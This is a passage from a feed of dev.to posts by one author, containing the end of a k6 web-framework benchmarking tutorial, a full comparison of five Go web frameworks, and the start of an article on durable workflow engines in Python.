  &lt;span class="nx"&gt;http&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;http://localhost:8001/hello&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nf"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Run and save results:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;mkdir&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; results
k6 run &lt;span class="nt"&gt;--out&lt;/span&gt; &lt;span class="nv"&gt;json&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;results/framework1.json k6-tests/framework1.js
k6 run &lt;span class="nt"&gt;--out&lt;/span&gt; &lt;span class="nv"&gt;json&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;results/framework2.json k6-tests/framework2.js
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;Works for any language/framework, not just Python.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Step 5 — Analyze Metrics
&lt;/h2&gt;

&lt;p&gt;With Python + matplotlib (or any plotting tool):&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Average latency&lt;/li&gt;
&lt;li&gt;P95 latency&lt;/li&gt;
&lt;li&gt;Requests/sec&lt;/li&gt;
&lt;li&gt;Failure rate
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;numpy&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;np&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;matplotlib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pyplot&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;plt&lt;/span&gt;

&lt;span class="n"&gt;files&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Framework1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;results/framework1.json&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Framework2&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;results/framework2.json&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;summary&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;file&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;files&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;items&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;durations&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;fails&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;total&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[],&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;file&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;obj&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;loads&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;type&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Point&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;metric&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;http_req_duration&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;durations&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;data&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;value&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
                &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;metric&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;http_req_failed&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;fails&lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;data&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;value&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt; &lt;span class="n"&gt;total&lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;durations&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;summary&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;avg&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;np&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;mean&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;durations&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;p95&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;np&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;percentile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;durations&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;95&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;requests&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;durations&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;fail_rate&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;fails&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;total&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;total&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;summary&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;plt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;bar&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;summary&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;keys&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;summary&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;avg&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;summary&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="n"&gt;plt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;title&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Average Response Time (ms)&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;plt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;show&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  ✅ Key Lessons
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Docker isolation → makes everything reproducible&lt;/li&gt;
&lt;li&gt;Worker count &amp;amp; CPU limits → must match&lt;/li&gt;
&lt;li&gt;Simple routes may make Flask look faster, don’t be fooled&lt;/li&gt;
&lt;li&gt;Async/I/O-heavy routes → FastAPI (or other async frameworks) shine&lt;/li&gt;
&lt;li&gt;Always benchmark your actual workload, not just tiny examples&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  🔹TL;DR
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Pick frameworks → Dockerize with identical resources&lt;/li&gt;
&lt;li&gt;Create identical endpoints → optionally simulate I/O&lt;/li&gt;
&lt;li&gt;Load test with k6 → save JSON results&lt;/li&gt;
&lt;li&gt;Plot metrics → avg latency, P95, requests, fail rate&lt;/li&gt;
&lt;li&gt;Compare fairly → draw conclusions based on your workload&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  📂 Try It Yourself
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;You can check out my repo: &lt;a href="https://github.com/mahdi0shamlou/web_framework_benchmarks" rel="noopener noreferrer"&gt;web_framework_benchmarks&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Clone it, run the Docker + k6 setup yourself&lt;/li&gt;
&lt;li&gt;Explore FastAPI &amp;amp; Flask examples&lt;/li&gt;
&lt;li&gt;Or even contribute and add more frameworks for comparison&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Want More?
&lt;/h2&gt;

&lt;p&gt;If you enjoyed this deep dive, you might like my other article:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9kqemjn09mkamupsgh4v.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9kqemjn09mkamupsgh4v.jpeg" alt="Mahdi Shamlou" width="800" height="451"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://dev.to/mahdi0shamlou/mahdi-shamlou-durable-workflow-engines-comparison-temporal-dbos-transact-prefect-custom-3a6a"&gt;How I Won an Algorithm Competition at University — With a Smart Trick | Mahdi Shamlou&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In that post, I share a clever approach that helped me solve tricky algorithm problems efficiently — a real-life example of strategy + code. 🚀&lt;/p&gt;

&lt;p&gt;🔗 LinkedIn:&lt;br&gt;
&lt;a href="https://www.linkedin.com/in/mahdi-shamlou-3b52b8278" rel="noopener noreferrer"&gt;https://www.linkedin.com/in/mahdi-shamlou-3b52b8278&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;📱 Telegram:&lt;br&gt;
&lt;a href="https://telegram.me/mahdi0shamlou" rel="noopener noreferrer"&gt;https://telegram.me/mahdi0shamlou&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;📸 Instagram:&lt;br&gt;
&lt;a href="https://www.instagram.com/mahdi0shamlou/" rel="noopener noreferrer"&gt;https://www.instagram.com/mahdi0shamlou/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Author: Mahdi Shamlou | مهدی شاملو&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>ai</category>
      <category>programming</category>
      <category>benchmark</category>
    </item>
    <item>
      <title>Go Web Frameworks Comparison 2026 — Top 5 Picks: Gin, Fiber, Echo, Chi &amp; Beego | Mahdi Shamlou</title>
      <dc:creator>Mahdi SHamlou | مهدی شاملو</dc:creator>
      <pubDate>Fri, 20 Feb 2026 08:19:49 +0000</pubDate>
      <link>https://dev.to/mahdi0shamlou/go-web-frameworks-comparison-2026-top-5-picks-gin-fiber-echo-chi-beego-mahdi-shamlo-57d4</link>
      <guid>https://dev.to/mahdi0shamlou/go-web-frameworks-comparison-2026-top-5-picks-gin-fiber-echo-chi-beego-mahdi-shamlo-57d4</guid>
      <description>&lt;p&gt;Hey everyone! Mahdi Shamlou here again 👋&lt;/p&gt;

&lt;p&gt;After my article on &lt;a href="https://dev.to/mahdi0shamlou/mahdi-shamlou-durable-workflow-engines-comparison-temporal-dbos-transact-prefect-custom-3a6a"&gt;durable workflow engines in Python&lt;/a&gt;, I wanted to explore something new: &lt;strong&gt;modern Go web frameworks&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;I searched online and honestly… most articles were old, incomplete, or clearly biased to one framework&lt;/p&gt;

&lt;p&gt;So I decided to write a fresh, practical comparison for 2026 with real benchmark sources and real developer experience.&lt;/p&gt;

&lt;p&gt;Let’s go 👇&lt;/p&gt;

&lt;h2&gt;
  
  
  Why Go for Web Development?
&lt;/h2&gt;

&lt;p&gt;Go became super popular for backend APIs because it gives you:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Very high performance (compiled language)&lt;/li&gt;
&lt;li&gt;Easy concurrency with goroutines &lt;/li&gt;
&lt;li&gt;Simple deployment (single binary) &lt;/li&gt;
&lt;li&gt;Great for microservices and cloud apps&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;Big companies like Google, Uber, Twitch, Dropbox use Go heavily for backend services.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h1&gt;
  
  
  Top 5 Go Web Frameworks in 2026
&lt;/h1&gt;

&lt;h2&gt;
  
  
  1. Gin — The Safe Default Choice
&lt;/h2&gt;

&lt;p&gt;Website → &lt;a href="https://gin-gonic.com/" rel="noopener noreferrer"&gt;https://gin-gonic.com/&lt;/a&gt;&lt;br&gt;
GitHub → &lt;a href="https://github.com/gin-gonic/gin" rel="noopener noreferrer"&gt;https://github.com/gin-gonic/gin&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Gin is probably the most used Go framework today. If you don’t know what to pick, pick Gin.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Learning speed:&lt;/strong&gt; 1–2 days&lt;br&gt;
&lt;strong&gt;Benchmark idea:&lt;/strong&gt; ~50k–70k req/sec&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Strengths 👍&lt;/strong&gt;&lt;br&gt;
• Very easy to start&lt;br&gt;
• Huge community and middleware&lt;br&gt;
• Stable and production‑proven&lt;br&gt;
• Works with standard net/http ecosystem&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Trade-offs 👎&lt;/strong&gt;&lt;br&gt;
• Not opinionated → big projects can become messy&lt;br&gt;
• No built‑in dependency injection&lt;br&gt;
• Some people dislike its context style&lt;/p&gt;




&lt;h2&gt;
  
  
  2. Fiber — Express.js Style for Go
&lt;/h2&gt;

&lt;p&gt;Website → &lt;a href="https://gofiber.io/" rel="noopener noreferrer"&gt;https://gofiber.io/&lt;/a&gt;&lt;br&gt;
GitHub → &lt;a href="https://github.com/gofiber/fiber" rel="noopener noreferrer"&gt;https://github.com/gofiber/fiber&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Fiber feels like Express.js but written in Go. If you come from Node.js, you’ll love it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Learning speed:&lt;/strong&gt; 1 day&lt;br&gt;
&lt;strong&gt;Benchmark idea:&lt;/strong&gt; ~70k–110k req/sec&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Strengths 👍&lt;/strong&gt;&lt;br&gt;
• Extremely fast&lt;br&gt;
• Very familiar for Node developers&lt;br&gt;
• Many built‑in features&lt;br&gt;
• Clean and simple syntax&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Trade-offs 👎&lt;/strong&gt;&lt;br&gt;
• Uses fasthttp instead of net/http&lt;br&gt;
• Some Go libraries don’t work&lt;br&gt;
• Debugging can be harder&lt;br&gt;
• Smaller ecosystem than Gin&lt;/p&gt;




&lt;h2&gt;
  
  
  3. Echo — Clean and Mature Framework
&lt;/h2&gt;

&lt;p&gt;Website → &lt;a href="https://echo.labstack.com/" rel="noopener noreferrer"&gt;https://echo.labstack.com/&lt;/a&gt;&lt;br&gt;
GitHub → &lt;a href="https://github.com/labstack/echo" rel="noopener noreferrer"&gt;https://github.com/labstack/echo&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Echo is like the balanced framework. Not too small, not too big.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Learning speed:&lt;/strong&gt; 2–3 days&lt;br&gt;
&lt;strong&gt;Benchmark idea:&lt;/strong&gt; ~50k–65k req/sec&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Strengths 👍&lt;/strong&gt;&lt;br&gt;
• Clean structure&lt;br&gt;
• Built‑in validation and middleware&lt;br&gt;
• Good documentation&lt;br&gt;
• Mature and stable&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Trade-offs 👎&lt;/strong&gt;&lt;br&gt;
• Smaller ecosystem than Gin&lt;br&gt;
• Some advanced features need extra libraries&lt;br&gt;
• Not as fast as Fiber&lt;/p&gt;




&lt;h2&gt;
  
  
  4. Chi — Lightweight Router for Clean Architecture
&lt;/h2&gt;

&lt;p&gt;Website → &lt;a href="https://go-chi.io/" rel="noopener noreferrer"&gt;https://go-chi.io/&lt;/a&gt;&lt;br&gt;
GitHub → &lt;a href="https://github.com/go-chi/chi" rel="noopener noreferrer"&gt;https://github.com/go-chi/chi&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Chi is not a full framework. It’s a router used in many serious microservices.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Learning speed:&lt;/strong&gt; Few hours&lt;br&gt;
&lt;strong&gt;Benchmark idea:&lt;/strong&gt; ~45k–60k req/sec&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Strengths 👍&lt;/strong&gt;&lt;br&gt;
• Very lightweight&lt;br&gt;
• Uses standard net/http&lt;br&gt;
• Perfect for clean architecture&lt;br&gt;
• Easy testing&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Trade-offs 👎&lt;/strong&gt;&lt;br&gt;
• Not beginner friendly&lt;br&gt;
• You must build everything yourself&lt;br&gt;
• No built‑in ORM or helpers&lt;br&gt;
• Slower to start small projects&lt;/p&gt;




&lt;h2&gt;
  
  
  5. Beego — Full MVC Framework
&lt;/h2&gt;

&lt;p&gt;Website → &lt;a href="https://beego.vip/" rel="noopener noreferrer"&gt;https://beego.vip/&lt;/a&gt;&lt;br&gt;
GitHub → &lt;a href="https://github.com/beego/beego" rel="noopener noreferrer"&gt;https://github.com/beego/beego&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Beego is like Django. It has ORM, CLI, sessions, templates.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Learning speed:&lt;/strong&gt; 1–2 weeks&lt;br&gt;
&lt;strong&gt;Benchmark idea:&lt;/strong&gt; ~20k–40k req/sec&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Strengths 👍&lt;/strong&gt;&lt;br&gt;
• Everything built‑in&lt;br&gt;
• Fast development for monolith apps&lt;br&gt;
• Good CLI tools&lt;br&gt;
• Built‑in ORM and templates&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Trade-offs 👎&lt;/strong&gt;&lt;br&gt;
• Slower performance&lt;br&gt;
• Heavy compared to Gin or Fiber&lt;br&gt;
• Smaller community today&lt;br&gt;
• Not ideal for microservices&lt;/p&gt;




&lt;h2&gt;
  
  
  Where These Benchmark Numbers Come From
&lt;/h2&gt;

&lt;p&gt;The numbers above are not random. You can verify them here:&lt;/p&gt;

&lt;p&gt;👉 &lt;a href="https://www.techempower.com/benchmarks/" rel="noopener noreferrer"&gt;https://www.techempower.com/benchmarks/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This is the most trusted benchmark in backend engineering. It runs frameworks on the same hardware and same workload.&lt;/p&gt;

&lt;p&gt;But remember ⚠️&lt;br&gt;
Real performance depends on:&lt;br&gt;
• database usage&lt;br&gt;
• logging&lt;br&gt;
• authentication&lt;br&gt;
• payload size&lt;br&gt;
• TLS&lt;br&gt;
• hardware&lt;/p&gt;

&lt;p&gt;So always run your own benchmark. &lt;/p&gt;




&lt;h2&gt;
  
  
  My Recommendation for 2026
&lt;/h2&gt;

&lt;p&gt;If you are new → Start with Gin.&lt;br&gt;
If you need max performance → Try Fiber.&lt;br&gt;
If you want balanced structure → Use Echo.&lt;br&gt;
If you love clean architecture → Use Chi.&lt;br&gt;
If you want full MVC → Use Beego.&lt;/p&gt;

&lt;p&gt;There is no perfect framework. Pick the one that fits your team and project.&lt;/p&gt;




&lt;h2&gt;
  
  
  Want More?
&lt;/h2&gt;

&lt;p&gt;If you enjoyed this deep dive, you might like my other article:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9kqemjn09mkamupsgh4v.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9kqemjn09mkamupsgh4v.jpeg" alt="Mahdi Shamlou" width="800" height="451"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://dev.to/mahdi0shamlou/mahdi-shamlou-durable-workflow-engines-comparison-temporal-dbos-transact-prefect-custom-3a6a"&gt;How I Won an Algorithm Competition at University — With a Smart Trick | Mahdi Shamlou&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In that post, I share a clever approach that helped me solve tricky algorithm problems efficiently — a real-life example of strategy + code. 🚀&lt;/p&gt;

&lt;p&gt;🔗 LinkedIn:&lt;br&gt;
&lt;a href="https://www.linkedin.com/in/mahdi-shamlou-3b52b8278" rel="noopener noreferrer"&gt;https://www.linkedin.com/in/mahdi-shamlou-3b52b8278&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;📱 Telegram:&lt;br&gt;
&lt;a href="https://telegram.me/mahdi0shamlou" rel="noopener noreferrer"&gt;https://telegram.me/mahdi0shamlou&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;📸 Instagram:&lt;br&gt;
&lt;a href="https://www.instagram.com/mahdi0shamlou/" rel="noopener noreferrer"&gt;https://www.instagram.com/mahdi0shamlou/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Author: Mahdi Shamlou | مهدی شاملو&lt;/p&gt;

</description>
      <category>go</category>
      <category>webdev</category>
      <category>programming</category>
      <category>productivity</category>
    </item>
    <item>
      <title>Mahdi Shamlou | Durable Workflow Engines Comparison — Temporal, DBOS Transact, Prefect &amp; Custom Python Engines Mahdi SHamlou</title>
      <dc:creator>Mahdi SHamlou | مهدی شاملو</dc:creator>
      <pubDate>Thu, 19 Feb 2026 14:31:10 +0000</pubDate>
      <link>https://dev.to/mahdi0shamlou/mahdi-shamlou-durable-workflow-engines-comparison-temporal-dbos-transact-prefect-custom-3a6a</link>
      <guid>https://dev.to/mahdi0shamlou/mahdi-shamlou-durable-workflow-engines-comparison-temporal-dbos-transact-prefect-custom-3a6a</guid>
      <description>&lt;p&gt;Hey everyone! &lt;strong&gt;Mahdi Shamlou&lt;/strong&gt; here again 🚀&lt;/p&gt;

&lt;p&gt;After diving into classic algorithm challenges like LeetCode #8 String to Integer (atoi), today I want to explore something a bit different — durable workflow engines in Python.&lt;/p&gt;

&lt;p&gt;I noticed most blog posts out there are old, incomplete, or heavily biased toward one tool. So I decided to create a fresh, practical comparison and give my take on which workflow engine you should pick in 2026.&lt;/p&gt;

&lt;p&gt;Let’s dive in.&lt;/p&gt;




&lt;h2&gt;
  
  
  What is a Durable Workflow Engine?
&lt;/h2&gt;

